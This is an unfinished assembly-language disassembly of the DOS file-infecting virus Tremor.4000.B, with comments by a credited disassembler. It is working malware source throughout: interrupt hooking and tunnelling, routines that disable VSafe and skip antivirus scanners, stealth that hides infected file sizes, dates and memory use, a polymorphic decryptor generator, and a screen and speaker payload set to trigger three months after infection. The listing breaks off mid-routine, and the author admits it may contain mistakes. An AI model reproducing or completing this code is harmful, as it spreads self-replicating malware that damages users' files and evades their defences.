;============================================================================
;
; Tremor.4000.B
;
; Unfinished disassembly, I lost interest in it...
;
;
;  TYPE: Full-stealth slow-polymorphic .COM & .EXE-infector.
;  DATE: Aug-1998 - Feb-1999.
;
;
;       - Full-stealth (network compatible).
;       - Uses UMBs & XMS.
;       - Tunneling on INT 21h.
;       - Retro-abilities.
;       - Disables stealth on execution archivers.
;       - Highly slow-polymorphic (lame garbage though).
;
;
; This virus truely is one of the most interesting things I ever took a
; look at, see yourself.
;
; I may have made a mistake somewhere in the disassembly-process, F-Prot
; detects it as an unknown variant of Tremor instead of Tremor.B what it
; used to be. Well it functions correctly, maybe it's just because of all
; the self-modifying code...
;
;                                 -T2/IR-
;============================================================================



		.MODEL  TINY
		.STACK  1024
		.CODE


Virus_Size      EQU     4000
Virus_Size_Mem  EQU     4288 / 16
Century         EQU     100 SHL 1
Min_Size_Infect EQU     8000
COM_Type        EQU     1
EXE_Type        EQU     0


DATA_75E        EQU     1097H
DATA_76E        EQU     1098H                   ;*
DATA_83E        EQU     139H                    ;*


;----------------------------------------------------------------------------


Busy            DB      0, 0
		DW      0
		DB      0

NewInt21h:
		DW      10 DUP (0)
		DB      0
                DB      0
		DB      15 DUP (0)
                DB      0
		DB      35 DUP (0)

Klos1:
                db 0
		DW      0, 0
NewInt15h:
		DB      0
		DW      0, 0

		DB      42 DUP (0)
root:
		DW      0, 0
Old_Int21h      DW      0, 0
		DW      0, 0
Int24h          DW      0, 0

Our_Int21h      DW      0, 0
i21h            DW      0, 0
Int15h          DW      0, 0
Our_Int15h      DW      0, 0

New_DTA         DW      10 DUP(0)
		DB      0, 0, 0, 0, 0
                DB      0
		DB      0, 0
		DW      0
		DW      0
                DW      0
		DB      9 DUP (0)


Virus_Begin:

   ; This is the place where the polymorphic decryptors are being build-up.

                DB      33 DUP(90h)

                NOP
		DB      0E9H,0E5H, 0BH

Init_Exit:      CALL    Restore_Regs

JMP_JMP_i21h:   JMP     JMP_Int21h

NewInt:
		CMP     BYTE PTR CS:XMS_Driver, 1
		JE      JMP_JMP_i21h

		; Save all registers.

		MOV     CS:Old_SI, SI
		MOV     SI, OFFSET Old_SI
		MOV     CS:[SI-(Old_SI-Old_DS)], DS

		PUSH    CS
		POP     DS

		MOV     [SI-(Old_SI-Old_AX)], AX
		MOV     [SI-(Old_SI-Old_BX)], BX
		MOV     [SI-(Old_SI-Old_CX)], CX
		MOV     [SI-(Old_SI-Old_DX)], DX
		MOV     [SI+(Old_DI-Old_SI)], DI
		MOV     [SI+(Old_BP-Old_SI)], BP
		MOV     [SI-(Old_SI-Old_ES)], ES

		CMP     BYTE PTR [SI+((Mem_Mark_2+1)-Old_SI)], 1
		JMP     Skip_Tremors
Opcode_1        =       BYTE PTR $-2            ; JMP opcode.

		ADD     AL, AH                  ; Get "random" value in AL.
		AND     AL, 00001111b           ; 0 - 15.

		ADD     AH, AL                  ; "Random" adjust high byte.
		AND     AH, 00001111b           ; 0 - 15.

		PUSH    AX

		MOV     DX, 3DAh                ; Get CGA status-register.
		IN      AL, DX

                POP     BX                      ; BX = random two bytes 0-15.

		MOV     AL, 08h

		MOV     AH, BL
		MOV     DL, 0D4h                ; DX=03D4h.
		OUT     DX, AX                   ; port 3D4H, CGA/EGA reg index
						;  al = 8, interlace & skew

		MOV     DL, 0C0h                ; DX=03C0h.
		MOV     AL, 33h
		OUT     DX, AL                   ; port 3C0H, EGA attributes

		MOV     AL, BH
		OUT     DX, AL                   ; port 3C0H, EGA attributes

		CALL    Restore_Regs

		PUSH    AX
		XOR     CX, CX
		MOV     AL, 0B6h
		OUT     43h, AL                  ; port 43H, 8253 timer control

		MOV     CL, AH
		SHL     AL, 1
		SHL     CX, 1                   ; Random MUL 2.
		IN      AL,61H                  ; port 61H, 8255 port B, read
		PUSH    AX

		OR      AL,3
		OUT     61H,AL                  ; port 61H, 8255 B - spkr, etc

Waste_Time:     LOOP    Waste_Time

		POP     AX

		OUT     61h, AL                 ; port 61H, 8255 B - spkr, etc

		POP     AX

Skip_Tremors:   CMP     AH, 57h                 ; Get/set filedate & time.
		JE      Init_Entry

		CMP     AH, 42h                 ; Seek (handle).
		JE      Init_Entry

		CMP     AH, 3Fh                 ; Read file (handle).
		JE      LOC_11
Databyte_4      =       BYTE PTR $-1

		CMP     AH, 50h                 ; Set PSP-segment.
		JB      LOC_8

		CMP     AH, 6Ch                 ; Extended open.
		JB      LOC_11

LOC_8:          CMP     AH, 30h                 ; Get DOS-version.
		JNE     LOC_9

Check_H_Read:   CMP     BL, 04h                 ; Filehandle?
		JA      Init_Entry

LOC_9:          CMP     AH, 3Ch                 ; Create/truncate file?
		JA      LOC_10

                CMP     AH, 12h                 ; Findnext (FCB) ?
		JA      LOC_11

LOC_10:         CMP     AH, 0Eh                 ; Change drive?
		JA      Init_Entry

LOC_11:         JMP     Init_Exit

Init_Entry:     XOR     BX, BX                  ; Switch-off all VSafe
		CALL    Call_VSafe              ; protections.

		MOV     CS:VSafe_Flags, CL      ; Save previous flags.

		MOV     AL, EXE_Type            ; Initialize candidate-file
		CALL    Set_Host_Type           ; as .EXE-type.

		MOV     AL, 15h                 ; Save address INT 15h.
		MOV     DI, OFFSET Our_Int15h
		CALL    Save_Int

		MOV     DI, OFFSET Int15h       ; Restore original INT 15h.
		CALL    Set_Int

		MOV     AL, 21h                 ; Save address INT 21h.
		MOV     DI, OFFSET Our_Int21h
		CALL    Save_Int

		MOV     DI, OFFSET Old_Int21h   ; Restore original INT 21h.
		CALL    Set_Int

		MOV     AL, 24h                 ; Save address INT 24h.
		MOV     DI, OFFSET Int24h
		CALL    Save_Int

		MOV     DX, OFFSET NewInt24h    ; Install our dummy error-
		PUSH    CS                      ; handler.
		POP     DS
		CALL    Hook_Int

		CALL    Restore_Regs            ; Restore registers.

		CMP     AH, 3Fh                 ; Read?
		JE      Check_CX_Zero

		JMP     Check_Seek_EOF          ; Else continue check.

Check_CX_Zero:  JCXZ    Chk_4_Res_Chk           ; Skip dummy-reads.

		MOV     AX, 5700h               ; Get filedate & time.
		CALL    OldInt21h
		JC      Chk_4_Res_Chk

		CMP     DH, Century - 1         ; Infected datestamp?
		JA      Infected_Date

Chk_4_Res_Chk:  JMP     JMP_Res_Check

Infected_Date:  CALL    Get_Encr_Header_H       ; Read encrypted header
		JC      Chk_4_Res_Chk           ; of the candidate-file.

		CALL    Check_Infected          ; File is infected?
		JNZ     Chk_4_Res_Chk           ; Nope, then abort.

		CALL    Restore_All             ; Restore regs/INTs.

		MOV     BX, CS:Old_Pos_Lo       ; DX:BX = fileposition.
		MOV     DX, CS:Old_Pos_Hi

		CALL    Check_File_Pos          ; Start read is in virusbody?
		JA      Read_0_Bytes

		ADD     BX, CX                  ; Calculate fileposition
		ADC     DX, 0                   ; after the read.

		CALL    Check_File_Pos          ; Read reaches virusbody?
		JBE     Preserve_CX

		SUB     BX, CS:Buffer.Host_Size ; Don't let 'em reach
		SUB     BX, CX                  ; the virusbody.

		NEG     BX

		PUSH    BX

		JMP     LOC_18

Read_0_Bytes:   XOR     CX, CX
Preserve_CX:    PUSH    CX
LOC_18:         CALL    Restore_Regs
		POP     CX

		CALL    OldInt21h               ; Do stealthed read.
		JC      JMP_Restore_CX

		PUSHF
		PUSH    AX
		PUSH    SI
		PUSH    DI
		PUSH    DS
		PUSH    ES

		PUSH    DS                      ; ES=DS.
		POP     ES

		PUSH    CS                      ; DS=CS.
		POP     DS

		MOV     DI, OFFSET Old_Pos_Lo

		CMP     WORD PTR [DI+(Old_Pos_Hi-Old_Pos_Lo)], 0 ; 1st 64k ?
		JA      Exit_Stealth_R

		CMP     WORD PTR [DI], 24       ; Read was in header?
		JNB     Exit_Stealth_R

		MOV     AX, [DI]                ; Position in header.
		MOV     DI, DX                  ; DI = readbuffer.

		MOV     SI, AX                  ; Offset in decrypted clean
		ADD     SI, OFFSET Buffer       ; header in our buffer.

		CMP     CX, 24
		JB      ReRead_Header

		SUB     AX, 24
		NEG     AX
		XCHG    CX, AX

ReRead_Header:  CLD                             ; Copy clean header into
		REP     MOVSB                   ; caller's readbuffer.

Exit_Stealth_R: POP     ES                      ; Restore changed registers.
		POP     DS
		POP     DI
		POP     SI
		POP     AX
		POPF

JMP_Restore_CX: JMP     Restore_CX


Check_Seek_EOF: CMP     AX, 4202h               ; Fileseek to EOF ?
		JNE     Mem_Stealth_Sw

		MOV     AX, 5700h               ; Get filedate & time.
		CALL    OldInt21h
		JNC     Check_Filedate

JMP_Res_Check:  JMP     Chk_Res_Check

Check_Filedate: CMP     DH, Century             ; Infected datestamp?
		JB      JMP_Res_Check

		CALL    Get_Encr_Header_H
		JC      JMP_Res_Check

		CALL    Check_Infected          ; This file is infected?
		JNZ     JMP_Res_Check           ; No? then abort stealth.

		CALL    Restore_All

		PUSHF

		SUB     DX, Virus_Size          ; Don't let 'em reach the
		SBB     CX, 0                   ; virusbody.

		POPF

		CALL    OldInt21h               ; Do the stealthed seek.

Restore_CX:     MOV     CX, CS:Old_CX           ; Restore changed CX.
		JMP     JMP_Do_RETF2

Mem_Stealth_Sw: JMP     FindF_H_JMP
Opcode_4        =       BYTE PTR $-1

		CMP     AH, 4Ah                 ; Resize memory block.
		JE      Stealth_Mem

		CMP     AH, 48h                 ; Allocate memory.
		JNE     FindF_H_JMP

Stealth_Mem:    CALL    Restore_All
		CALL    OldInt21h               ; Execute memory stuff.
		JNC     JMP_Do_RETF2

		CMP     AL, 08h                 ; Not enough memory?
		JNE     JMP_Do_RETF2

		SUB     BX, Virus_Size_Mem      ; Subtract memorysize of
		STC                             ; virus.

JMP_Do_RETF2:   JMP     Do_RETF2

FindF_H_JMP:    JMP     $+2
Databyte_2      =       BYTE PTR $-1

		CMP     AH, 4Eh                 ; Findfirst (handle).
		JB      Chk_4_Find_F

		CMP     AH, 4Fh                 ; Findnext (handle).
		JA      Chk_4_Find_F

		CALL    OldInt21h               ; Execute function.

		PUSHF
		PUSH    AX
		JC      Rest_All_Find           ; Abort when error occurred.

		CALL    Get_DTA

		CMP     BYTE PTR ES:[BX.Handle_Date+1], AL
		JB      Rest_All_Find           ; Else not infected.

                ; Restore original filedate.

                SUB     BYTE PTR ES:[BX.Handle_Date+1], AL

                MOV     SI, 26                  ; Handle_Size

Chk_Size_Find:  CMP     BYTE PTR ES:[BX+SI+2], 00h
		JNZ     Rip_Size_Find

                CMP     ES:[BX+SI], (1024 * 8)  ; File not too small?
		JB      Rest_All_Find

                ; Hide the virussize from the DTA.

Rip_Size_Find:  SUB     WORD PTR ES:[BX+SI], Virus_Size
		SBB     WORD PTR ES:[BX+SI+2], 0

Rest_All_Find:  CALL    Restore_All

		POP     AX
Do_POPF_RETF2:  POPF

Do_RETF2:       RETF    2


Chk_4_Find_F:   CMP     AH, 11h                 ; Findfirst (FCB).
		JB      Chk_Ext_Open

		CMP     AH, 12h                 ; Findnext (FCB).
		JA      Chk_Ext_Open

		CALL    OldInt21h               ; Execute function.

		PUSHF
		PUSH    AX

		CMP     AL, 0FFh                ; Error occurred?
		JE      Rest_All_Find

		CALL    Get_DTA

		CMP     ES:[BX.FCB_Drive], -1   ; Extended FCB ?
		JNE     LOC_36

		ADD     BX, 7                   ; Skip extended stuff.

LOC_36:         CMP     BYTE PTR ES:[BX.FCB_Date+1], AL  ; Infected date?
		JB      Rest_All_Find

		SUB     BYTE PTR ES:[BX.FCB_Date+1], AL  ; Restore original filedate.

		MOV     SI, OFFSET FCB_Size
		JMP     Chk_Size_Find

Chk_Ext_Open:   CMP     AH, 6Ch                 ; Extended open.
		JNE     Chk_Open

		MOV     DX, SI                  ; Set correct registers.
		JMP     Adjust_Mark

Chk_Open:       CMP     AH, 3Dh                 ; Open (handle).
		JNE     LOC_41

Adjust_Mark:    INC     CS:Mem_Mark_2

		CMP     AL, 02h                 ; Read/write access only?
		JNE     LOC_41

LOC_40:         CALL    Init_Inf_Open
		JMP     LOC_48

LOC_41:         CMP     AH, 3Eh                 ; Close (handle).
		JNE     LOC_43

		CALL    OldInt21h               ; Execute close.

		PUSHF
		PUSH    AX
		JC      JMP_Rest_All_F          ; Error?

		CALL    Get_Marker

		CMP     BL, AL
		JNE     JMP_Rest_All_F

		CALL    Set_Marker

		PUSH    CS
		POP     DS

		MOV     DX, 02h
		CALL    SUB_23

JMP_Rest_All_F: JMP     Rest_All_Find

LOC_43:         CMP     AH, 57h                 ; Get/set file-attributes.
		JNE     LOC_47

		CMP     AL, 01h                 ; Set filedate & time?
		JE      Chk_Filedate_A

		CALL    Restore_All

		CALL    OldInt21h               ; Execute function.

		PUSHF
		JC      Exit_Stealth_Date

		CMP     DH, Century             ; Infected datestamp?
		JB      Exit_Stealth_Date

		SUB     DH, Century             ; Restore original datestamp.

Exit_Stealth_Date:

		JMP     Do_POPF_RETF2

Chk_Filedate_A: CMP     DH, Century             ; Infected date?
		JB      Skip_Rest_Date

		; Restore original date.

		SUB     BYTE PTR CS:Old_DX, Century

Skip_Rest_Date: CALL    Get_Encr_Header_H
		JC      LOC_48

		CALL    Seek_BOF
		CALL    Check_Infect
		JC      LOC_48

                CALL    Restore_File_Pos

		CALL    Restore_All

		ADD     DH, Century
		CALL    OldInt21h

		PUSHF
		SUB     DH, Century

		JMP     Exit_Stealth_Date

LOC_47:         CALL    Init_Res_Check

		CMP     AH, 4Ch                 ; Program terminate.
		JNE     Chk_Load_Exec

		MOV     CS:Databyte_2, 0
		MOV     CS:Databyte_4, (Check_H_Read - Databyte_4) - 1

LOC_48:         JMP     LOC_54

Chk_Load_Exec:  CMP     AH, 4Bh                 ; Program load/execute?
		JE      LOC_50

		JMP     LOC_59

LOC_50:         CALL    Set_Marker

		CMP     AL, 00h                 ; Program execute.
		JZ      LOC_51

		JMP     LOC_40

LOC_51:         JMP     LOC_52
Databyte_3      =       BYTE PTR $-1

                MOV     DX, -Virus_Size_Mem
		CALL    Adjust_Block

		PUSH    CS
		POP     DS

		MOV     Databyte_3, (LOC_52 - Databyte_3) - 1
		MOV     Opcode_4, (FindF_H_JMP - Opcode_4) - 1
		MOV     Databyte_2, 0

LOC_52:         CALL    Restore_Regs
		CALL    Find_Candidate
		JC      LOC_54

		CMP     BYTE PTR CS:New_DTA, 3
		JB      LOC_54

		MOV     AX, CS:New_DTA + 1Eh    ; Get first word of filename.

		CMP     AX, 'BH'                ; HB
		JE      Abort_Inf_Chk

		CMP     AX, 'LC'                ; CLEAN.EXE ?
		JE      Abort_Inf_Chk

		CMP     AX, 'CS'                ; SCAN.EXE ?
		JNE     LOC_55

Abort_Inf_Chk:  CALL    Restore_Regs
		CALL    Init_Inf_Open
		CALL    Set_Marker

LOC_54:         JMP     Chk_Res_Check

LOC_55:
		PUSH    CS
		POP     ES

		MOV     DI, OFFSET Name_Table
		MOV     CX, 16 / 2
		CLD
		REPNE   SCASW
		JNE     Check_4_ARJ

		CMP     AX, 'HC'                ; CH(KDSK) ?
		JNE     Do_Mem_Stealth

		CMP     CS:New_DTA+1Eh+2, 'DK'  ; (CH)KD(SK) ?
		JNE     Do_Mem_Stealth

		MOV     CS:Databyte_2, (Chk_Ext_Open - Databyte_2) - 1

Do_Mem_Stealth: CALL    Hide_Block

		MOV     CS:Databyte_3, 0

Check_4_ARJ:    CMP     CS:New_DTA+1Eh+1, 'JR'  ; ARJ.EXE ?
		JNE     LOC_58

		MOV     CS:Databyte_4, (LOC_11-Databyte_4) - 1

LOC_58:         CALL    Restore_Regs
		JMP     LOC_60

LOC_59:         CMP     AH, 43h                 ; Get/set file-attributes.
		JNE     Chk_Res_Check

		OR      AL, AL                  ; Get file-attributes?
		JNZ     LOC_61

		CMP     BX, 0FACEh              ; Virus' infect request?
		JNE     Chk_Res_Check

LOC_60:         CALL    Check_Extension
		JNE     LOC_61

		MOV     AL, COM_Type
		CALL    Set_Host_Type

LOC_61:         CALL    Restore_Regs
		CALL    SUB_23

Chk_Res_Check:  CALL    Restore_All

		CMP     CS:Residency_Check, AX
		JNE     JMP_Int21h

		MOV     AX, CS:Mem_Mark_2
Mem_Marker_Offs =       WORD PTR $-2
		IRET

JMP_Int21h:     JMP     DWORD PTR CS:Old_Int21h


; CS:DI = storage address.
Save_Int:
		MOV     AH, 35h                 ; Get address INT.
		CALL    OldInt21h

		MOV     CS:[DI], BX
		MOV     CS:[DI+2], ES

		RETN


Restore_Ints:
		MOV     AL, 15h                 ; Restore hooked INT 15h.
		MOV     DI, OFFSET Our_Int15h
		CALL    Set_Int

		MOV     AL, 21h
		MOV     DI, OFFSET Our_Int21h
		CALL    Set_Int

		MOV     BL, 00001001b           ; Restore VSafe flags.
VSafe_Flags     =       BYTE PTR $-1
		CALL    Call_VSafe

		MOV     AL, 24h
		MOV     DI, OFFSET Int24h

Set_Int:        MOV     DX, CS:[DI]
		MOV     BX, CS:[DI+2]

		MOV     DS, BX

Hook_Int:       MOV     AH, 25h

OldInt21h:      PUSHF
		CALL    DWORD PTR CS:Old_Int21h

		RETN


Get_DTA:
		MOV     AX, 2F00h + Century
		JMP     OldInt21h

Do_File_Attr:
		MOV     AH, 43h
		JMP     OldInt21h

File_DateTime:
		MOV     AH, 57h
		JMP     Set_Handle_W

Get_Header:     MOV     CX, -1                  ; Go to position of stored
		MOV     DX, -32                 ; encrypted header of host.
		MOV     AL, 02h
		CALL    File_Seek

Read_Header:    MOV     AH, 3Fh
		MOV     CX, 32
Set_DX_W:       MOV     DX, OFFSET Buffer
Set_Handle_W:   MOV     BX, 5
File_Handle     =       WORD PTR $-2
		JMP     OldInt21h

Write_Header:
		MOV     CX, 24
Write_File:     MOV     AH, 40h
		JMP     Set_DX_W

Init_Open:
		MOV     BP, DX

		MOV     AL, 00h                 ; Get file-attributes.
		CALL    Do_File_Attr
		JC      LOC_RET_71

		MOV     CS:File_Attr, CX        ; Save file-attributes.

		TEST    CL, 00000011b           ; Readonly/hidden?
		JZ      Skip_Del_Attr

		MOV     AL, 01h                 ; Clear file-attributes.
		XOR     CX, CX
		CALL    Do_File_Attr
		JC      LOC_RET_71

Skip_Del_Attr:  MOV     AX, 3D92h               ; Open file for reads/writes,
		CALL    OldInt21h               ;
		JC      LOC_RET_71

		MOV     CS:File_Handle, AX

		MOV     AL, 00h                 ; Get filedate & time.
		CALL    File_DateTime

		MOV     CS:File_Date, DX
		MOV     CS:File_Time, CX

LOC_RET_71:     RETN


Get_Encr_Header_H:

		MOV     CS:File_Handle, BX      ; Save filehandle.

Get_Encr_Header:

		MOV     AL, 01h                 ; Get current fileposition.
		CALL    Seek_Border
		JC      LOC_73

		PUSH    AX
		PUSH    DX

		PUSH    DS

		PUSH    CS
		POP     DS

		MOV     Old_Pos_Lo, AX          ; Save current fileposition.
		MOV     Old_Pos_Hi, DX

		CALL    Get_Header

		POP     DS

		POP     CX                      ; CX:DX = fileposition.
		POP     DX

		JC      Abort_Get_Header

		CMP     AX, 32                  ; Whole header was read?
		JNE     Abort_Get_Header

Go_EOF:         MOV     AL, 00h                 ; Go to begin of file.
		JMP     File_Seek

Abort_Get_Header:

		CALL    Go_EOF
LOC_73:         STC

		RETN


Restore_File_Pos:

		MOV     AL, 00h
		MOV     DX, 0000h
Old_Pos_Lo      =       WORD PTR $-2
		MOV     CX, 0000h
Old_Pos_Hi      =       WORD PTR $-2
Seek_BOF:       XOR     AX, AX
Seek_Border:    XOR     CX, CX
		MOV     DX, CX

File_Seek:      MOV     AH, 42h
		JMP     Set_Handle_W


LOC_75:
		MOV     AL, 01h
		MOV     DX, 0E033h
File_Date       =       WORD PTR $-2
		MOV     CX, 0BE7Bh
File_Time       =       WORD PTR $-2
		CALL    File_DateTime

		MOV     AH, 3Eh
		CALL    Set_Handle_W
		CALL    Restore_Regs
		MOV     CX, 32
File_Attr       =       WORD PTR $-2
		MOV     AL,1
		JMP     Do_File_Attr


Check_Extension:

		MOV     DI, DX
		MOV     CX, 80
		MOV     AL, '.'
		PUSH    DS
		POP     ES
		CLD
		REPNE   SCASB
		JNE     LOC_RET_76

		MOV     AX, DS:[DI]

		OR      AX, 6060h
		CMP     AX, 'oc'

LOC_RET_76:
		RETN


;
; Returns CF if AV-program is run.
SUB_23:
		CALL    Check_FluShot
		JZ      Exit_Infect

		CALL    Init_Open
		JNC     LOC_77

		CMP     AL, 3                   ; Access denied?
		JA      LOC_78

		RETN

LOC_77:         CALL    Check_Inf_Date
		JNB     LOC_78

		CALL    Set_Inf_Date
		CALL    Check_Infect

LOC_78:         JMP     LOC_75

Del_Inf_Date:   SUB     BYTE PTR CS:File_Date+1, Century

Exit_Infect:    STC

		RETN


Check_Infect:
		CALL    Check_Infected
		JZ      Exit_Infect

		PUSH    CS
		POP     DS

		CALL    Read_Header
		JC      Del_Inf_Date

		MOV     SI, OFFSET Buffer

		CALL    Comp_Host_COM
		JNZ     Check_EXE

		CMP     [SI.Jump], 0E9h         ; Only infect .COM-files
		JE      Check_SP                ; which start with a JMP.

		MOV     AL, EXE_Type            ; No JMP ? then assume .EXE.
		CALL    Set_Host_Type

Check_EXE:      CMP     [SI.EXE_Mark], 'ZM'     ; True .EXE-file?
		JNE     Del_Inf_Date

		CMP     [SI.Reloc_Table], 40h   ; File is NE/PE-type?
		JE      Del_Inf_Date

Check_SP:       MOV     AX, [SI.Program_SP]

		CMP     AX, 2F0h
		JE      Del_Inf_Date

		CMP     AX, 510h
		JB      LOC_83

		CMP     AX, 522h
		JB      Del_Inf_Date

LOC_83:         CALL    Comp_Host_COM
		JNZ     $+2

		MOV     Host_SP, AX
		MOV     AX, [SI.Program_IP]

		CALL    Comp_Host_COM
		JNZ     Store_Host_IP

		MOV     AX, [SI.Displacement]   ; Save word of .COM-file we
		MOV     COM_Host_Word, AX       ; are gonna change.
		MOV     AX, 100h                ; .COMs always start at 100h.

Store_Host_IP:  MOV     Host_IP, AX             ; Store original IP of host.

		CALL    Comp_Host_COM           ; Is this a .COM-file?
		JE      Save_File_Size

		MOV     AX, [SI.File_512_Pages] ; Get 512-byte pages of .EXE.

		CMP     AX, (Min_Size_Infect / 512) + 1
		JB      Del_Inf_Date

		DEC     AX                      ; Undo page-round.

		MOV     DX, 512                 ; Calculate size in bytes.
		MUL     DX

		ADD     AX, [SI.File_Mod_512]   ; Plus rest of filesize.
		ADC     DX, 0

		PUSH    AX                      ; Save internal filesize
		PUSH    DX                      ; of .EXE on stack.

Save_File_Size: MOV     AL, 02h                 ; Get filesize in DX:AX.
		CALL    Seek_Border

		MOV     [SI.Reloc_Table], AX    ; Save original length of
		MOV     [SI.Overlay_Number], DX ; this host.

		CALL    Comp_Host_COM
		JNE     Check_Overlay

		OR      DX, DX                  ; .COM-file bigger then 64k ?
		JNZ     LOC_86

		CMP     AH, 0D6h                ; .COM-file is too big?
		JA      LOC_86

		CMP     AH, 32                  ; .COM-file is too small?
		JB      LOC_86

		MOV     DI, AX                  ; Calculate displacement
		SUB     DI, 3                   ; of virusentry.

		JMP     Set_Virus_IP

LOC_86:         JMP     Del_Inf_Date

Check_Overlay:  POP     BP                      ; BP:DI = internal filesize
		POP     DI                      ; of .EXE-file.

		CMP     AX, DI                  ; External size is the same
		JNE     LOC_86                  ; as internal? (no overlay).

		CMP     DX, BP                  ; Also check higher word.
		JNE     LOC_86

		CMP     DX, 15
		JA      LOC_86

		MOV     DI, AX
		AND     DI, 00001111b           ; DIV 16.

Set_Virus_IP:   MOV     Displ, DI

		PUSH    DI

		MOV     CL, 4                   ; DIV 16
		SHR     AX, CL
		ROR     DX, CL

		ADD     AX, DX
		SUB     AX, [SI.Header_Size_Mem]

		PUSH    AX
		PUSH    AX
		PUSH    AX

		ADD     AX, DI
		PUSH    AX

		MOV     AH, 2Ah                 ; Get system date.
		CALL    OldInt21h

		ADD     DH, 3                   ; Add 3 months.

		CMP     DH, 13                  ; No overflow?
		JB      Store_Trigger

		SUB     DH, 12                  ; Else adjust month count.

		INC     CX                      ; Adjust year.

Store_Trigger:  MOV     Trg_Year, CX            ; Store date of activation.
		MOV     Trg_Month_Day, DX

		MOV     AH, 2Ch                 ; Get system-time.
		CALL    OldInt21h

		POP     AX

		ADD     AX, CX                  ; Construct a random value.
		ADD     AX, DX
		NEG     AX

		MOV     [SI.Undocumented], 0DEADh
		MOV     [SI.Unused], AX

		XOR     AX, 0DEAFh

		MOV     Key_Poly, AX
		MOV     DS:DATA_76E, AX

		CALL    Shift_Byte

		MOV     New_Virus_IP, AX        ; Save new CS:IP for
		MOV     New_Virus_CS, BX        ; later use.

		POP     AX

		SUB     AX, BX
		SUB     AX, [SI.Program_CS]

		MOV     Host_CS, AX

		POP     AX

		SUB     AX, BX
		SUB     AX, [SI.Program_SS]

		MOV     Host_SS, AX
		SHL     BX, 1                   ; MUL 2
		MOV     Screwy3, BX
		CLD
		PUSH    SI

		PUSH    CS
		POP     ES

		MOV     SI, OFFSET Poly_Values
		MOV     DI, SI

		PUSH    SI

		LODSW                           ; Get slow random in BX.
		XCHG    BX, AX

		LODSW

		XCHG    AL, AH                  ; Hussle a bit with values.
		XCHG    BL, BH
		XCHG    AH, BL
		XCHG    BX, AX
		STOSW

		XCHG    BX, AX
		STOSW

		MOV     AH, 2Ch                 ; Get system-time.
		CALL    OldInt21h

		MOV     BP, CX                  ; Randomize the shit.
		ADD     BP, DX

		MOV     BX, CX

		MOV     CL, 4                   ; BL MUL 16
		SHL     BL, CL

		AND     DH, 00001111b           ; DH = random.
		OR      DH, BL

		MOV     DL, BH
		SHL     DL, CL

		PUSH    DX

		MOV     AH, 2Ah                 ; Get system-date.
		CALL    OldInt21h

		ADD     BP, DX                  ; Some more randomization.
		NEG     BP

		MOV     CX, DX

		POP     DX

		OR      DL, AL

		MOV     DI, 0CDH

		MOV     AX, BP                  ; Get random SP.
		CALL    Shift_Byte

		MOV     New_Virus_SP, AX

		MOV     Screwy7, AX
		MOV     New_Virus_SS, BX

		MOV     BX, Mem_Mark_2

		POP     SI

		TEST    DL, 00000001b           ; Use DS or segment override?
		JZ      LOC_91

		MOV     AL, 26h                 ; ES:

		TEST    CH,2
		JZ      LOC_90

		MOV     AL, 06h                 ; PUSH ES
		STOSB

		MOV     AL, 1Fh                 ; POP DS
LOC_90:         STOSB

LOC_91:         LODSB
		CALL    Gen_Load_Reg

		LODSB
		CALL    Gen_Load_Reg

		LODSB
		CALL    Gen_Load_Reg

		LODSB
		CALL    Gen_Load_Reg

		TEST    DL, 00000001b
		JNZ     LOC_94

		TEST    BL,15H
		JNZ     LOC_92

		MOV     AX, 071Eh               ; PUSH DS / POP ES
		STOSW

		JMP     LOC_94

LOC_92:         MOV     AL, 0F2h                ; REPNZ

		TEST    CH, 00000001b
		JZ      LOC_93

		INC     AX                      ; REPZ
LOC_93:         STOSB

LOC_94:         PUSH    DI

		SUB     SI, 4

		CALL    Comp_Host_COM
		JE      LOC_95

		MOV     AL, 36h                 ; SS:
		STOSB

LOC_95:         MOV     AL, 31h                 ; XOR
		MOV     MegaHead, AL

		TEST    DH, 40h
		JZ      LOC_96

                MOV     MegaHead, 1

                MOV     AL, 29h                 ; SUB

LOC_96:         MOV     Jerm, AL
		STOSB

		MOV     AL,1CH

		TEST    DH,2
		JZ      LOC_97

		INC     AL

LOC_97:         TEST    CL,3
		JZ      LOC_98

		SUB     AL,8
LOC_98:         STOSB

		CALL    SUB_33

		TEST    BL, 00000001b
		JZ      LOC_99

		CALL    Gen_JMP

LOC_99:         MOV     BYTE PTR DS:DATA_75E,5

		CMP     CH,0AH
		JB      LOC_100

		TEST    CL,3
		JNZ     LOC_100

		MOV     AX,5F8DH
		STOSW

                XOR     AX, AX
                MOV     AL, BL
                OR      AL, 40h
		CBW
                MOV     DS:DATA_76E, AX
		STOSB

		JMP     LOC_103


LOC_100:        MOV     AL,81H
		STOSB

		MOV     AL,0C3H

		TEST    CL,3
		JZ      LOC_101

		DEC     AX

LOC_101:        TEST    DL,2
		JZ      LOC_102

		ADD     AL,30h
		MOV     BYTE PTR DS:DATA_75E,35H

LOC_102:        STOSB

		MOV     AX, 1620h
Key_Poly        =       WORD PTR $-2
		STOSW

LOC_103:        TEST    BL,1
		JNZ     LOC_104

		CALL    Gen_JMP

LOC_104:        TEST    DH,3
		JZ      LOC_106

		CALL    SUB_33
		MOV     AL,83H
		STOSB

		MOV     AL,0EEH

		TEST    DH,2
		JZ      LOC_105

		INC     AX

LOC_105:        STOSB

		MOV     AL, 0FEh
		STOSB

		JMP     LOC_108
LOC_106:
		MOV     AL,46H

		TEST    DH,2
		JZ      LOC_107

		INC     AX
LOC_107:        STOSB

		PUSH    AX
		CALL    SUB_33
		POP     AX

		STOSB
LOC_108:        CALL    SUB_33

		TEST    BL,3
		JNZ     LOC_109

		TEST    DL,10H
		JNZ     LOC_109

		CMP     CH,3
		JA      LOC_109

		MOV     AL,0E2H
		JMP     LOC_113

LOC_109:        MOV     AL,49H

		TEST    DL,10H
		JZ      LOC_110

		ADD     AL,4

LOC_110:        TEST    BL,3
		JZ      LOC_111

		SUB     AL,8
LOC_111:        STOSB

		CALL    SUB_33

		CMP     CH,0AH
		JB      LOC_112

		TEST    CL,3
		JZ      LOC_114

LOC_112:        TEST    DH,3
		JNZ     LOC_114

		TEST    DL,2
		JZ      LOC_114

		MOV     AL,77H

LOC_113:        JMP     LOC_115

LOC_114:        MOV     AL, 75h
LOC_115:        STOSB

		POP     AX

		DEC     AX
		SUB     AX, DI
		STOSB

		TEST    DI,1
		JNZ     LOC_117

		MOV     AL,BL
		AND     AL,7
		OR      AL,90H

		CMP     AL,94H
		JNE     LOC_116

		INC     AX
LOC_116:        STOSB

LOC_117:        MOV     AX, 0EDH
		SUB     AX, DI
		SHR     AX, 1
		ADD     AX, 7B0H
		MOV     Memoy, AX
		ADD     AX, 0C4H
Screwy3         =       WORD PTR $-2

		TEST    BL,3
		JZ      LOC_118

